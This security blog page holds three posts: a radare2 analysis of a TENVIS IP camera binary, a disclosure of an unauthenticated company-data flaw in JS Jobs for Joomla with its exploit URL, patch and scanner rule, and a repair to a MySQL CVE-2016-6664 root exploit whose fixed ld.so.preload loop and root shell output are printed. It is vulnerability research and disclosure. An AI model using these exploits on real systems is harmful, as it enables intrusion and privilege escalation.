Latest Tweets

Extract valuable information from binaries with radare2

Preamble

Radare2 is a powerful reverse engineering framework widely used for reverse engineering binaries meant for different architectures. I came across it while dealing with some vulnerabilities of my TENVIS T6812 IP Camera. Later on I started using it on a regular basis for almost everything. I have yet a lot to learn from it, of course! One thing I enjoyed doing was to extract some valuable information from the main server binary of my TENVIS Ip Camera.

Tenvis T6812 Camera.

This IoT device is full of flaws. I have yet to perform more tests, but I found at least two different vulnerabilities: a buffer overflow issue affecting the ipc_server binary in charge of interfacing with the camera and the web server and some information disclosure (a directory named /tmpfs, accessible from the browser and holding the ipc_server binary itself along with some libraries and configuration files).

The ipc_server binary

After being able to download this binary from the tmpfs directory using my browser, I used radare2 in order to analyse it:

r2 tmpfs/ipc_server
[0x00026df0]> aaaa

The authentication method for this particular camera is  based on the HTTP Header “Authorization”, of type basic. Therefore, I was expecting to find the “.htpasswd” string somewhere within the binary:

[0x00025420]> iz~.htpasswd
vaddr=0x000efd50 paddr=0x000e7d50 ordinal=2839 sz=10 len=9 section=.rodata type=ascii string=.htpasswd
vaddr=0x000f0d94 paddr=0x000e8d94 ordinal=3021 sz=55 len=54 section=.rodata type=ascii string= mongoose -A <htpasswd_file> <realm> <user> <passwd>\n

So there were two strings holding the value “.htpasswd”. The second one at 0x000f0d94 was, in fact, a call to the “mongoose” program. I looked for the string “mongoose” inside the binary:

[0x00025420]> iz~mongoose
vaddr=0x000ef440 paddr=0x000e7440 ordinal=2754 sz=18 len=17 section=.rodata type=ascii string=websvr/mongoose.c
vaddr=0x000f0d94 paddr=0x000e8d94 ordinal=3021 sz=55 len=54 section=.rodata type=ascii string= mongoose -A <htpasswd_file> <realm> <user> <passwd>\n
vaddr=0x000f0dcc paddr=0x000e8dcc ordinal=3022 sz=26 len=25 section=.rodata type=ascii string= mongoose <config_file>\n
vaddr=0x000f0de8 paddr=0x000e8de8 ordinal=3023 sz=32 len=31 section=.rodata type=ascii string= mongoose [-option value …]\n
vaddr=0x000f0e30 paddr=0x000e8e30 ordinal=3026 sz=78 len=77 section=.rodata type=ascii string=See http://code.google.com/p/mongoose/wiki/MongooseManual for more details.\n
vaddr=0x000f0e80 paddr=0x000e8e80 ordinal=3027 sz=50 len=49 section=.rodata type=ascii string=Example:\n mongoose -s cert.pem -p 80,443s -d no\n
vaddr=0x000f0efc paddr=0x000e8efc ordinal=3031 sz=14 len=13 section=.rodata type=ascii string=mongoose.conf

So, apparently, the ipc_server was using mongoose. I decided to browse http://code.google.com/p/mongoose/wiki/MongooseManual, extracted from the binary itself. I got an HTTP 403 error. This gave me proof that this mongoose implementation was obsolete indeed. I browsed the main project’s page instead:

https://code.google.com/archive/p/mongoose/

And so, I’ve discovered what mongoose was meant for:

Mongoose is an embedded HTTP and WebSocket library that can turn anything into a web server in 5 minutes by adding a few lines of C/C++ code

Getting mongoose version

So I downloaded the latest available version of mongoose from https://code.google.com/archive/p/mongoose/downloads, and I started looking around with cscope. I found out that all the callable functions started with mg_, like mg_version (I found that thanks to the win32 dll definitions):

cat win32/dll.def
LIBRARY
EXPORTS
mg_start
mg_stop
mg_read
mg_write
mg_printf
mg_get_header
mg_get_var
mg_get_cookie
mg_get_option
mg_get_valid_option_names
mg_version
mg_modify_passwords_file
mg_md5

I got back to my radare2 session and enumerated functions starting with mg_:

[0x00025420]> afl~mg_
0x0007bed8 3 56 sym.mg_get_option
0x0007d73c 17 584 sym.mg_md5
0x0007c19c 20 688 sym.mg_read
0x0007c414 1 56 sym.mg_write
0x0007c980 1 92 sym.mg_printf
0x0007d500 40 568 -> 844 sym.mg_get_var
0x0007be6c 1 28 sym.mg_GetMediaServerHandle
0x000c61ec 3 56 sym.img_dsp_set_aaa_static_frequency
0x000bbcfc 1 4 -> 60 sym.img_set_aaa_frequency
0x0007e7ec 17 528 sym.mg_modify_passwords_file
0x0007bf20 7 112 sym.mg_get_header
0x0007ea18 12 60 -> 156 sym.mg_stop
0x0007becc 1 8 sym.mg_get_valid_option_names
0x0007ea54 1 40 sym.mg_pause
0x0007be8c 1 28 sym.mg_GetRtspOverHttpHandle
0x0007be0c 1 16 sym.mg_RegisterSnapChn
0x0007bdf8 1 16 sym.mg_RegisterHttpPort
0x0007be38 1 16 sym.mg_RegisterGetUserPass
0x0007be20 1 20 sym.mg_RegisterHttpAuth
0x0007bdc0 1 52 sym.mg_RegisterDistribLink
0x0007bf14 1 8 sym.mg_version
0x000c4e98 12 4 -> 444 sym.img_dsp_set_video_mctf_ex
0x0007be4c 1 28 sym.mg_GetHttpPort
0x0007beac 1 28 sym.mg_GetPlayBackHandle
0x0007ea80 56 1548 sym.mg_start

Indeed; mongoose was being used by ipc_server. In fact, this library was linked statically within the binary. Therefore, I got the sym.mg_version function at address 0x0007bf14.  So I jumped into that function and disassembled it:

According to the previous assembly code snippet, ipc_server was linked against mongoose 3.0:

0x0007bf14 00009fe5 ldr r0, [pc] ; [0xef5cc:4]=0x302e33 ; LEA str.3.0 ; “3.0” @ 0xef5cc

[0x0007bf14]> ps @0xef5cc
3.0

Mongoose 3.0 well-known vulnerabilities

Apart from the buffer overflow I have already found, I googled mongoose 3.0 vulnerabilities and this came out:

https://www.cvedetails.com/cve/CVE-2011-2900/

So this camera ships with another buffer overflow vulnerability as well. This one is a well-known vulnerability, with at least one working exploit for some vendor implementing it here: http://nion.modprobe.de/blog/archives/704-Exploiting-the-UbiquisysSFR-femtocell-webserver-wsalshttpdmongooseyassl-embedded-webserver.html.

And now …

I have contacted TENVIS in order to let them know about my findings and this already reported vulnerability. So far, no answer. I’ll be toying with my camera a lot more, so stay tuned for upcoming posts!

Js Jobs 1.1.6 for Joomla! security issue

Preamble

While preparing a new tutorial on CMS vulnerabilities for Linux User & Developer magazine, I came to find a new vulnerability affecting JS Jobs 1.1.6 and earlier for Joomla!. I reported it to the developers (18/12/2016) and to the VEL list as well. As of this writing, there is still no official released patch. This issue has been found by using vim editor and following some code path for the “Company” model inside the component.

Spotting the vulnerability

I started by looking for potential SQL-i vulnerabilities. During my search, I came upon this code snippet:

function getCompanybyIdforForm($id, $uid, $visitor, $vis_email, $jobid) {
        $db = $this->getDBO();
        if (is_numeric($uid) == false)
            return false;
...
}

This function was called from the view component of the Company model. In this function, $uid equals to the numeric value for the user accessing this data. As clearly seen in the code above, there is no checking for whether $uid == 0 ( a non-authenticated user). Therefore, any non-registered user can call this function and obtain the data for a particular company. Going back to the view.html.php file for the Company model we find:

elseif ($layout == 'formcompany') {           // form company
...
  $result = $this->getJSModel('company')->getCompanybyIdforForm($companyid, $uid, '', '', '');
...

Therefore, we can make an HTTP GET Request to the next URL in order to get a filled in form holding any registered company’s data:

http://IP_JOOMLA_SERVER/index.php?option=com_jsjobs&c=company&view=company&layout=formcompany&cd=[idcompany]

Where [idcompany] is a numeric value identifying all the registered companies in the database. Apart from being able to obtain all the data for a particular company, we can modify any field of this form and then store the changes to the database too (the message: “Company has been successfully saved” appears, along with a paradoxical error message telling you that you are not logged in therefore you don’t have access to the private area ;-)).

You can modify any field from the Company form and then save the changes.

Under some circumstances it is even possible to create a new company by calling this form with a non-existing [idcompany].

Fixing the issue

Until JoomSky releases an official patch, it is possible to fix this security issue (at least for non-registered Joomla! users), by checking the value for $uid in the getCompanybyIdforForm function (components/com_jsjobs/views/company/Company.php). Just modify line 37 so it looks like this:

function getCompanybyIdforForm($id, $uid, $visitor, $vis_email, $jobid) {
        $db = $this->getDBO();
        if (is_numeric($uid) == false || $uid == 0)
            return false;

Modify the old Joomscan to detect the vulnerability

Joomscan is an old Joomla! vulnerability scanner developed by OWASP. Although it is quite old, you can leverage it to detect this new vulnerability. First, add this new vulnerability to its database by appending this line to the joomscandb.txt file:

Component: JsJobs 1.1.X (com_jsjobs) Company Data Form vulnerability Versions Affected: 1.1.6 <= |/components/com_jsjobs|/components/com_jsjobs/index.php?option=com_jsjobs&c=common&view=company&layout=formcompany&cd=1

Then, make sure to add this code-snippet to the joomscan.pl file in order to detect the vulnerability (it will look for the form “adminForm” inside the HTTP response from the server):

                case(/com_jsjobs/)
                {
                     my $jsreq = $ua->request(GET $url.$exploit );
                     if ($jsreq->content =~ /name="adminForm" id="adminForm"/gi){
                         $isvuln = 1; 
                     }else{$vulnans = 'No';}
                }

Now, run the tool in order to test it:

./joomscan -u http://JOOMLA_SERVER

….

# 29
Info -> Component: JsJobs 1.1.X (com_jsjobs) Company Data Form vulnerability
Versions Affected: 1.1.6 <=
Check: /components/com_jsjobs/
Exploit: /components/com_jsjobs/index.php?option=com_jsjobs&c=common&view=company&layout=formcompany&cd=1
Vulnerable? Yes

Fix the issue as described and re-run the tool:

./joomscan -u http://JOOMLA_SERVER

# 29
Info -> Component: JsJobs 1.1.X (com_jsjobs) Company Data Form vulnerability
Versions Affected: 1.1.6 <=
Check: /components/com_jsjobs/
Exploit: /components/com_jsjobs/index.php?option=com_jsjobs&c=common&view=company&layout=formcompany&cd=1
Vulnerable? No

Mysql CVE-2016-6664 Dawid Golunski’s exploit fails and could crash the entire system

Preamble

The root privilege escalation exploit written by Dawid Golunski did not work out-of-the-box on a mysql vulnerable database server running on WebSecurity Dojo. Although the first exploit (gaining mysql user privileges) did work, after that I could not gain root access by running the shell script designed to exploit CVE-2016-6664:

dojo@dojo2:~$ ./40678 root dojo localhost dvwa
[+] Entering the race loop… Hang in there…
[+] Bingo! Race won (took 4 tries) ! Check out the mysql SUID shell:
[+] Spawning the mysql SUID shell now…
Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 🙂
mysql_suid_shell.MYD-4.2$ whoami
mysql

/40679.sh /var/log/mysql/error.log
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 mysql dojo 920788 Nov 14 08:09 /tmp/mysqlrootsh
[+] Waiting for MySQL to re-open the logs/MySQL service restart…
Do you want to kill mysqld process to instantly get root? 🙂 ? [y/n]
/40679.sh: line 162: /etc/ld.so.preload: Permission denied
./40679.sh: line 170: /etc/ld.so.preload: Permission denied
[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges:
-rw-rw—- 1 root root 82 Nov 14 15:11 /etc/ld.so.preload
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
cat: /etc/ld.so.preload: Permission denied
[+] The /etc/ld.so.preload file now contains:
chmod: changing permissions of `/etc/ld.so.preload’: Operation not permitted
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwxr-xr-x 1 mysql dojo 920788 Nov 14 15:11 /tmp/mysqlrootsh
[!] Failed to get root

The issue

First thing: WebSecurity Dojo is Ubuntu-based, and it does not use mysqld_safe. It executes “mysqld” directly, so if you try to run this exploit it does not do as promised because there is no way mysqld_safe is going to re-create the error.log file as soon as mysqld is killed. After making sure mysqld_safe is executed, still I cannot get the exploit working because the /etc/ld.so.preload file is owned by root and therefore the malicious /tmp/privesclib.so cannot be loaded:

[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges:
-rw-rw—- 1 root root 82 Nov 16 03:06 /etc/ld.so.preload

Got it. Executing ‘killall mysqld’ now…
./40679.sh: line 162: /etc/ld.so.preload: Permission denied
./40679.sh: line 170: /etc/ld.so.preload: Permission denied

So the script fails to deliver a root shell. The flaw resides in assuming that whenever /etc/ld.so.preload exists, it is owned by mysql and thus this code-snippet will end up writing the string “/tmp/privesclib.so” in /etc/ld.so.preload:

while :; do 
        sleep 0.1
        if [ -f /etc/ld.so.preload ]; then
                echo $PRIVESCLIB > /etc/ld.so.preload
                rm -f $ERRORLOG
                break;
        fi
done

But, as you have clearly seen, the file is temporarily owned by “root” (until the chown mysql is issued by mysqld_safe) and thus the script fails. Moreover, because what we have in /etc/ld.so.preload comes from the mysql log, we’ve got a lot of complaints about the impossibility of pre-loading whatever is inside the /etc/ld.so.preload (bear in mind that this is system-wide). It gets even worse: if you reboot the Virtual Machine, the system crashes. So if you do run this script during a regular pentest engagement, make sure you don’t make the system unusable.

When /etc/ld.so.preload cannot be successfully written with the malicious library, the entire system crashes after rebooting it.

When /etc/ld.so.preload cannot be successfully written with the malicious library, the entire system crashes after rebooting it.

Fixing

It is safer to make sure that /etc/ld.so.preload has been successfully written before assuming that it has been. To achieve that, I have added a simple loop until the right malicious library is written in /etc/ld.so.preload (another way to fix this could be to increase the time the loop waits for the presence of /etc/ld.so.preload):

echo -ne "Trying to write the ld.so.preload until we sucess ... "
while :; do 
        sleep 0.1
        if [ -f /etc/ld.so.preload ]; then
                echo $PRIVESCLIB > /etc/ld.so.preload 
                if [ $? -eq 0 ]; then
                        rm -f $ERRORLOG
                        break;
                fi
        fi
done
echo -ne " [DONE!]\n"

Now, if we re-run the exploit, we’ve got the root shell as promised:

[+] Waiting for MySQL to re-open the logs/MySQL service restart…
Do you want to kill mysqld process to instantly get root? 🙂 ? [y/n] y
Got it. Executing ‘killall mysqld’ now…
Trying to write the ld.so.preload until we sucess … ./40679.sh: line 166: /etc/ld.so.preload: Permission denied
./40679.sh: line 166: /etc/ld.so.preload: Permission denied
./40679.sh: line 166: /etc/ld.so.preload: Permission denied
[DONE!]
+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwsrwxrwx 1 root root 920788 Nov 16 05:03 /tmp/mysqlrootsh

[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 920788 Nov 16 05:03 /tmp/mysqlrootsh

Got root! The database server has been ch-OWNED !

[+] Spawning the rootshell /tmp/mysqlrootsh now!
mysqlrootsh-4.2# whoami
root

Be extremely careful if you run this exploit on a real computer; if /etc/ld.so.preload cannot be written with the malicious library, the entire system could stop working.

You can watch a video about this issue HERE.